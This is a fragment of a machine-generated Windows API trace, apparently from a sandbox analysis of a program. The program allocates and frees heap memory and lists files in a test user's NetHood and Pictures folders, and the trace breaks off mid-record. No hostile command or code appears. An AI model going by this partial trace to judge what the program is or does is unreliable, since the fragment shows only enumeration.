[0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.625] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x40) returned 0x2fef800 [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.625] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb1c0 [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fef800 | out: hHeap=0x5e0000) returned 1 [0120.625] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.625] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.625] PathFindFileNameW (pszPath="") returned="" [0120.625] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.625] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da95a00, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0xbec2fe10, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0xbec2fe10, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0xc45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ym45zlaZS.m4a", cAlternateFileName="YM45ZL~1.M4A")) returned 0xffffffff [0120.625] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0120.626] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde5e0 [0120.626] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.626] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.626] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.627] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.627] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.628] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.628] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.629] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.629] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.630] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.630] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.631] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0120.631] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0120.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0120.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0120.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0120.632] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0120.632] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0120.632] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0120.632] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0120.632] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0120.632] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0120.632] PathFindFileNameW (pszPath="") returned="" [0120.632] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda51190, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda51190, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0120.632] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda51190, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda51190, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0120.632] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57b54680, ftCreationTime.dwHighDateTime=0x1d4ceb4, ftLastAccessTime.dwLowDateTime=0x94c26720, ftLastAccessTime.dwHighDateTime=0x1d4d444, ftLastWriteTime.dwLowDateTime=0x94c26720, ftLastWriteTime.dwHighDateTime=0x1d4d444, nFileSizeHigh=0x0, nFileSizeLow=0x12971, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0PKxTObiZ.gif", 